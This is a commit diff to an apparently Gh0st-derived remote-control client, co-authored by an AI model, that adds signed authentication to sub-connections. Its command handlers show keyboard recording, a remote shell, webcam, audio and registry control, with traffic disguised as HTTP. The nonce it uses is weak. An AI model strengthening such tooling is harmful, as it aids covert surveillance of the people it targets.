Feature: sub-connection auth (TOKEN_CONN_AUTH) with HMAC + clientID binding
Client first packet on every sub-connection signs (clientID || timestamp || nonce) and waits for server ack. Server verifies signature and pins clientID on the sub-connection ctx, eliminating IP-reverse-lookup unreliability for NAT/localhost scenarios. Sub-conn coverage: Win 12 sites, Linux/macOS 3-4 each. Main connection keeps existing TOKEN_LOGIN flow unchanged. Includes: - Protocol structs sized to 512/256 bytes with reserved space for future extensions (locale, OS info, session token, etc.) - 5-min timestamp tolerance (Kerberos-grade replay window) - 10-sec client wait for cross-pacific / weak-network tolerance - Fix RemoveFromHostList side-effect ordering: MarkDeviceOffline and m_ActiveWndW.erase now only fire when ctx is actually removed from m_HostList, preventing sub-conn disconnects from misreporting main as offline (regression introduced by auth-set clientID on sub ctx) - Fix latent bug: IOCPClient::m_conn was never assigned in ctor, leaving GetConnectionAddress() always NULL and FileManager V2 transfer's srcClientID always 0 Breaking change: new client cannot use sub-features against old server. New server tolerates legacy clients (no auth). Future tightening can reject unauthenticated sub-connections via IsAuthenticated() flag. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -1163,6 +1163,7 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
|
||||
|
||||
// 创建新连接发送文件
|
||||
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn);
|
||||
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||||
std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() {
|
||||
FileBatchTransferWorkerV2(allFiles, targetDir, pClient,
|
||||
|
||||
@@ -100,6 +100,77 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, O
|
||||
m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL;
|
||||
}
|
||||
|
||||
// 子连接身份校验:发 TOKEN_CONN_AUTH 包后阻塞等服务端响应。
|
||||
// signMessage 由私有库提供(与 KernelManager.cpp 验证主控签名同款),
|
||||
// 空 publicKey/privateKey 走内置 HMAC。
|
||||
extern std::string signMessage(const std::string& privateKey, BYTE* msg, int len);
|
||||
bool IOCPClient::PerformConnAuth(uint64_t clientID, int timeoutMs)
|
||||
{
|
||||
ConnAuthPacket pkt = {};
|
||||
pkt.token = TOKEN_CONN_AUTH;
|
||||
pkt.clientID = clientID;
|
||||
pkt.timestamp = (uint64_t)time(NULL);
|
||||
// 16 字节 nonce:用 rand() + 时间扰动,强度够用(重放保护主要靠时间戳)
|
||||
for (int i = 0; i < 16; ++i) {
|
||||
pkt.nonce[i] = (uint8_t)((rand() ^ (clock() >> i)) & 0xFF);
|
||||
}
|
||||
|
||||
BYTE sigInput[8 + 8 + 16];
|
||||
memcpy(sigInput, &pkt.clientID, 8);
|
||||
memcpy(sigInput + 8, &pkt.timestamp, 8);
|
||||
memcpy(sigInput + 16, pkt.nonce, 16);
|
||||
auto sig = signMessage("", sigInput, sizeof(sigInput));
|
||||
size_t sigLen = sig.size() < 64 ? sig.size() : 64;
|
||||
memcpy(pkt.signature, sig.data(), sigLen);
|
||||
|
||||
// 设置等待状态
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(m_authMtx);
|
||||
m_authStatus = -1;
|
||||
m_authPending = true;
|
||||
}
|
||||
|
||||
// 发包;用 HttpMask 包装与其它子连接首包风格一致
|
||||
HttpMask mask(DEFAULT_HOST, GetClientIPHeader());
|
||||
int sent = Send2Server((char*)&pkt, sizeof(pkt), &mask);
|
||||
if (sent <= 0) {
|
||||
std::lock_guard<std::mutex> lk(m_authMtx);
|
||||
m_authPending = false;
|
||||
Mprintf("[ConnAuth] 发送失败\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 等响应或超时
|
||||
std::unique_lock<std::mutex> lk(m_authMtx);
|
||||
bool got = m_authCv.wait_for(lk, std::chrono::milliseconds(timeoutMs),
|
||||
[this]{ return !m_authPending; });
|
||||
int status = m_authStatus;
|
||||
m_authPending = false;
|
||||
if (!got) {
|
||||
Mprintf("[ConnAuth] 等待响应超时 (%d ms),判定失败\n", timeoutMs);
|
||||
return false;
|
||||
}
|
||||
bool ok = (status == CONN_AUTH_OK);
|
||||
Mprintf("[ConnAuth] %s (status=%d)\n", ok ? "通过" : "失败", status);
|
||||
return ok;
|
||||
}
|
||||
|
||||
bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len)
|
||||
{
|
||||
if (!buf || len < sizeof(ConnAuthAck)) return false;
|
||||
if (buf[0] != TOKEN_CONN_AUTH) return false;
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(m_authMtx);
|
||||
if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生)
|
||||
const ConnAuthAck* ack = (const ConnAuthAck*)buf;
|
||||
m_authStatus = ack->status;
|
||||
m_authPending = false;
|
||||
}
|
||||
m_authCv.notify_all();
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn,
|
||||
const std::string& pubIP, void* main) : g_bExit(bExit)
|
||||
@@ -119,6 +190,8 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
||||
}
|
||||
|
||||
m_main = main;
|
||||
m_conn = conn; // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过
|
||||
// m_conn->clientID 现取主连接 ID(同一指针,主连接登录后填好的最新值)。
|
||||
int encoder = conn ? conn->GetHeaderEncType() : 0;
|
||||
m_sLocPublicIP = pubIP;
|
||||
m_ServerAddr = {};
|
||||
@@ -380,6 +453,27 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
|
||||
#endif
|
||||
}
|
||||
|
||||
// 子连接身份校验(opt-in 通过 EnableSubConnAuth 开启):
|
||||
// - WorkThread 已经启动,能接收 ack 包并通过 TryHandleAuthResponse 唤醒等待。
|
||||
// - clientID 优先用 EnableSubConnAuth 显式传入的值(Linux/macOS 客户端走此路径),
|
||||
// 未显式传入时从 m_conn 现取(Windows 客户端走此路径)。
|
||||
// - 校验失败:Disconnect 并返回 FALSE,让上层走重连或放弃逻辑。
|
||||
if (m_subConnAuthEnabled) {
|
||||
uint64_t cid = m_subConnAuthClientID;
|
||||
if (cid == 0 && m_conn) cid = m_conn->clientID;
|
||||
if (cid == 0) {
|
||||
Mprintf("[ConnAuth] 跳过校验:clientID 尚未就绪(主连接还没拿到 ID)\n");
|
||||
// 没拿到 ID 就别盲发,等下一次 Reconnect 时再试。视为本次连接失败。
|
||||
Disconnect();
|
||||
return FALSE;
|
||||
}
|
||||
if (!PerformConnAuth(cid, CONN_AUTH_CLIENT_WAIT_MS)) {
|
||||
Mprintf("[ConnAuth] 校验失败,断开连接\n");
|
||||
Disconnect();
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -549,11 +643,16 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
||||
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||
|
||||
if (Z_SUCCESS(iRet)) { //如果解压成功
|
||||
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
||||
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
||||
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||
if (ret) {
|
||||
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||
// 优先看是不是 TOKEN_CONN_AUTH 响应;只有当 PerformConnAuth 正在等待时才消费。
|
||||
// 不在等待状态时返回 false,包透传给 manager(manager 一般也不识别此 token,
|
||||
// 走 default 路径忽略,无副作用)。
|
||||
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
|
||||
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
||||
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
||||
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||
if (ret) {
|
||||
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength);
|
||||
|
||||
@@ -32,6 +32,8 @@
|
||||
#endif
|
||||
#include "IOCPBase.h"
|
||||
#include <mutex>
|
||||
#include <condition_variable>
|
||||
#include <chrono>
|
||||
|
||||
#define MAX_RECV_BUFFER 1024*32
|
||||
#define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率
|
||||
@@ -259,6 +261,26 @@ public:
|
||||
m_LoginMsg = msg;
|
||||
m_LoginSignature = hmac;
|
||||
}
|
||||
|
||||
// 子连接身份校验:发 TOKEN_CONN_AUTH 包,等服务端 ConnAuthAck 响应。
|
||||
// 返回 true 表示通过,false 表示超时/失败/网络错误。
|
||||
// 主连接不调用此方法。新客户端必须调用并校验成功后才能继续后续命令。
|
||||
// 已实现的协议扩展(如 KeyBoard 子连接的 cap word)保留不变,与本机制并行工作。
|
||||
bool PerformConnAuth(uint64_t clientID, int timeoutMs);
|
||||
|
||||
// 让 ConnectServer 在每次成功后自动调一次 PerformConnAuth(opt-in)。
|
||||
// 子连接构造后调用此方法启用。
|
||||
// - clientID == 0:每次 auth 时从 m_conn->clientID 现取(Windows 客户端走此路径)。
|
||||
// 这样即便 IOCPClient 创建时主连接还没拿到 ID,真正连上时也能用到最新值。
|
||||
// - clientID != 0:显式指定(Linux/macOS 客户端 IOCPClient 不带 m_conn 时用此参数)。
|
||||
void EnableSubConnAuth(bool enabled = true, uint64_t clientID = 0) {
|
||||
m_subConnAuthEnabled = enabled;
|
||||
m_subConnAuthClientID = clientID;
|
||||
}
|
||||
|
||||
// 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。
|
||||
// 仅在我们正在等待 auth 响应时(m_authPending=true)才消费;否则透传给 manager。
|
||||
bool TryHandleAuthResponse(PBYTE buf, ULONG len);
|
||||
protected:
|
||||
virtual int ReceiveData(char* buffer, int bufSize, int flags)
|
||||
{
|
||||
@@ -285,6 +307,16 @@ protected:
|
||||
BOOL m_bConnected;
|
||||
|
||||
std::mutex m_Locker;
|
||||
|
||||
// 子连接身份校验同步状态。仅在 PerformConnAuth 调用期间生效。
|
||||
std::mutex m_authMtx;
|
||||
std::condition_variable m_authCv;
|
||||
int m_authStatus = -1; // -1 = 未启动;其它 = ConnAuthStatus
|
||||
bool m_authPending = false; // true 时 TryHandleAuthResponse 才消费 ack
|
||||
|
||||
// ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。
|
||||
bool m_subConnAuthEnabled = false;
|
||||
uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // 压缩上下文
|
||||
ZSTD_DCtx* m_Dctx; // 解压上下文
|
||||
|
||||
@@ -53,7 +53,9 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub
|
||||
{
|
||||
ThreadInfo *tKeyboard = new ThreadInfo();
|
||||
tKeyboard->run = FOREVER_RUN;
|
||||
tKeyboard->p = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
||||
auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
tKeyboard->p = sub;
|
||||
tKeyboard->conn = conn;
|
||||
tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL);
|
||||
return tKeyboard;
|
||||
@@ -956,7 +958,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
}
|
||||
|
||||
case COMMAND_PROXY: {
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -1060,33 +1066,49 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
if (m_hKeyboard) {
|
||||
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||
} else {
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_TALK: {
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].user = m_hInstance;
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SHELL: {
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SYSTEM: { //远程进程管理
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_WSLIST: { //远程窗口管理
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -1121,14 +1143,22 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||
if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount].user = user;
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_LIST_DRIVE : {
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -1136,25 +1166,41 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_WEBCAM: {
|
||||
static bool hasCamera = WebCamIsExist();
|
||||
if (!hasCamera) break;
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_AUDIO: {
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_REGEDIT: {
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SERVICES: {
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
{
|
||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
m_hThread[m_ulThreadCount].p = sub;
|
||||
}
|
||||
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL);
|
||||
break;
|
||||
}
|
||||
@@ -1272,6 +1318,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
opts.enableResume = queryPending; // 只有发送了查询才等待响应
|
||||
|
||||
IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn);
|
||||
pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||
if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) {
|
||||
std::thread([files, targetDir, pClient, opts, hash, hmac]() {
|
||||
FileBatchTransferWorkerV2(files, targetDir, pClient,
|
||||
|
||||
Reference in New Issue
Block a user